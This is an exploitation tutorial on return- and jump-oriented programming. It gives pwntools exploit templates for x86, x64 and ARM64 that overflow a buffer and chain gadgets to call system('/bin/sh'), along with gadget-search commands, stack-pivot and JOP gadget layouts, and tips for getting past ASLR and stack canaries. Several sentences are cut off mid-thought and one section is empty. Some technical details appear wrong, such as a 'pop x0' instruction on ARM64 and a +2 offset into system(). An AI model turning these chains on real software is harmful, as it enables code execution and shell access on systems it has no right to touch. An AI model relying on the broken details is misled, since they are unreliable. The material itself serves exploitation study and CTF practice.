ROP & JOP Exploitation Guide

Return-Oriented Programming (ROP) is an advanced exploitation technique used to circumvent security measures like No-Execute (NX) or Data Execution Prevention (DEP). Instead of injecting shellcode, you leverage existing code pieces called "gadgets" that end with

ret

Quick Start

1. Identify the vulnerability (buffer overflow, function pointer overwrite, etc.)
2. Find gadgets using ROPgadget, ropper, or pwntools
3. Understand the calling convention for your target architecture
4. Build the ROP chain to set up arguments and call your target function
5. Handle stack alignment (critical for x64)
6. Test and iterate

Architecture-Specific Guidance

x86 (32-bit)

Calling Convention (cdecl):

• Arguments pushed onto stack right-to-left
• Caller cleans the stack
• Return address on stack

Typical ROP Chain for

system("/bin/sh")

from pwn import *

binary = context.binary = ELF('binary')
p = process(binary.path)

# Find /bin/sh string
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Get system address (from libc or binary)
system_addr = libc.symbols['system']

# Build chain
rop_chain = [
    0x41414141,    # Return address after system() (can be exit() or safe address)
    bin_sh_addr    # Argument to system()
]

# Add offset to reach return address
payload = b'A' * offset + p32(system_addr) + p32(rop_chain[0]) + p32(rop_chain[1])

p.sendline(payload)
p.interactive()

Common Gadgets Needed:

• pop eax; ret

  - Control EAX register

• pop ebx; ret

  - Control EBX register

• mov [ebx], eax; ret

  - Write-what-where gadget

x64 (64-bit)

Calling Convention (System V AMD64 ABI):

• First 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9
• Return value in RAX
• Stack must be 16-byte aligned before function calls

Critical: Stack Alignment

The x86-64 ABI requires 16-byte stack alignment when

call

movaps

system()

Solution: Add a

ret

system()

Typical ROP Chain for

system("/bin/sh")

from pwn import *

binary = context.binary = ELF('binary')
p = process(binary.path)

# Find /bin/sh string
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Get system address
system_addr = libc.symbols['system']

# Find gadgets
pop_rdi = next(binary.search(b'\x5f\xc3'))  # pop rdi; ret
ret_gadget = next(binary.search(b'\xc3'))    # ret

# Build chain with alignment
rop_chain = [
    ret_gadget,        # Align stack (if needed)
    pop_rdi,           # pop rdi; ret
    bin_sh_addr,       # /bin/sh address
    system_addr        # Call system()
]

# Add offset
payload = b'A' * offset + p64(rop_chain[0]) + p64(rop_chain[1]) + p64(rop_chain[2]) + p64(rop_chain[3])

p.sendline(payload)
p.interactive()

Common Gadgets Needed:

• pop rdi; ret

  - Set first argument (RDI)

• pop rsi; ret

  - Set second argument (RSI)

• pop rdx; ret

  - Set third argument (RDX)

• ret

  - Stack alignment

ARM64

Critical ARM64 Consideration:

When jumping to a function via ROP in ARM64, jump to the 2nd instruction of the function (not the first). This prevents storing the current stack pointer and creating an infinite loop.

Calling Convention:

• First 8 arguments in registers: X0-X7
• Return value in X0
• Stack pointer: SP
• Frame pointer: X29
• Link register: X30

Finding Gadgets in macOS/iOS:

System libraries are in

dyld_shared_cache_arm64

# Extract libraries
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted/

# Find gadgets
ropper --file libcache.dylib --search "mov x0"

Typical ROP Chain for

system("/bin/sh")

from pwn import *

binary = context.binary = ELF('binary')
p = process(binary.path)

# Find /bin/sh string
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Get system address (skip first instruction!)
system_addr = libc.symbols['system'] + 2

# Find gadgets
pop_x0 = next(binary.search(b'\x20\x00\x40\xd2'))  # pop x0; ret

# Build chain
rop_chain = [
    pop_x0,        # pop x0; ret
    bin_sh_addr,   # /bin/sh address
    system_addr    # Call system() (2nd instruction)
]

payload = b'A' * offset + p64(rop_chain[0]) + p64(rop_chain[1]) + p64(rop_chain[2])

p.sendline(payload)
p.interactive()

Finding Gadgets

Using ROPgadget

# Basic search
ROPgadget --binary binary | grep "pop rdi"

# Search specific instruction
ROPgadget --binary binary --only "pop|ret" | grep "pop rdi"

# From libc
ROPgadget --binary libc.so.6 | grep "pop rdi"

Using ropper

# Find gadgets
ropper --file binary --search "pop rdi"

# Find all pop gadgets
ropper --file binary --only "pop|ret"

# From multiple files
ropper --file *.so --search "mov x0"

Using pwntools

from pwn import *

binary = ELF('binary')

# Find gadgets
pop_rdi = next(binary.search(b'\x5f\xc3'))  # pop rdi; ret

# Build ROP chain
rop = ROP(binary)
rop.system(bin_sh_addr)

# Get payload
payload = rop.chain()

Stack Pivoting

Stack pivoting changes the stack pointer to point to controlled memory (heap or buffer) where your payload resides.

Common Stack Pivot Gadgets (ARM64):

# Simple pivot
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

# Complex pivot from libunwind.dylib
ldr x16, [x0, #0xf8];    # Control x16
ldr x30, [x0, #0x100];   # Control x30
ldp x0, x1, [x0];        # Control x1
mov sp, x16;             # Pivot stack
ret;                     # Jump to x30

Heap Setup for Stack Pivot:

<address of x0>          # ldp x0, x1, [x0]
<address of gadget>      # Overflowed pointer
"A" * 0xe8               # Fill until x0+0xf8
<address x0+16>          # New SP location
<next gadget>            # Goes into x30

JOP (Jump-Oriented Programming)

JOP uses jump addresses instead of

ret

Finding JOP Gadgets:

# Search for JOP gadgets
ropper --file *.dylib --search "ldr x0, [x0"

# Example JOP gadget
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;

JOP Chain Example:

Heap layout:
  [x0 + 0x20] = address of /bin/sh
  [x0 + 0x30] = address of system

Gadget loads x0 from [x0+0x20], x2 from [x0+0x30], then branches to x2

Bypassing Protections

ASLR & PIE

• Disable ASLR for testing:

  echo 0 > /proc/sys/kernel/randomize_va_space

• Leak addresses first, then calculate offsets
• Use

  libc.symbols

  with base address:

  libc.address + libc.symbols['system']

Stack Canaries

• Leak canary first (format string, info leak)
• Overwrite canary before return address
• Or bypass via other vulnerability

Lack of Gadgets

• Use JOP instead of ROP
• Use ret2libc if libc is available
• Use ret2syscall for direct syscalls

Common ROP-Based Techniques

Ret2Lib

Call arbitrary functions from loaded libraries:

rop = ROP(binary)
rop.call(libc.symbols['system'], [bin_sh_addr])

Ret2Syscall

Direct syscall execution:

from pwn import *

# execve("/bin/sh", ["/bin/sh", NULL], [NULL])
rop = ROP(binary)
rop.execve(bin_sh_addr)

EBP2Ret & EBP Chaining

Control flow via EBP instead of EIP:

# Overwrite EBP to control return chain
payload = b'A' * offset + p32(rop_chain[0]) + p32(rop_chain[1])

Debugging Tips

1. Use GDB with pwndbg/gef for better visualization
2. Check stack alignment:

   info registers rsp

   - should be multiple of 16
3. Verify gadget addresses:

   x/10i 0xaddress

4. Test incrementally: Start with simple gadgets, add complexity
5. Use

   context.log_level = 'debug'

   in pwntools for verbose output

Common Pitfalls

system()

ret

Quick Reference

x86:

• Args: Stack (right-to-left)
• Gadgets:

  pop eax; ret

  ,

  pop ebx; ret

x64:

• Args: RDI, RSI, RDX, RCX, R8, R9
• Gadgets:

  pop rdi; ret

  ,

  pop rsi; ret

• Remember: 16-byte stack alignment!

ARM64:

• Args: X0-X7
• Gadgets:

  pop x0; ret

  ,

  pop x1; ret

• Remember: Jump to 2nd instruction!

Tools Summary

Next Steps

1. Identify your target architecture and calling convention
2. Find necessary gadgets using ROPgadget/ropper/pwntools
3. Build ROP chain with proper argument setup
4. Handle stack alignment (x64) or instruction offset (ARM64)
5. Test and debug with GDB
6. Address any protections (ASLR, canaries, etc.)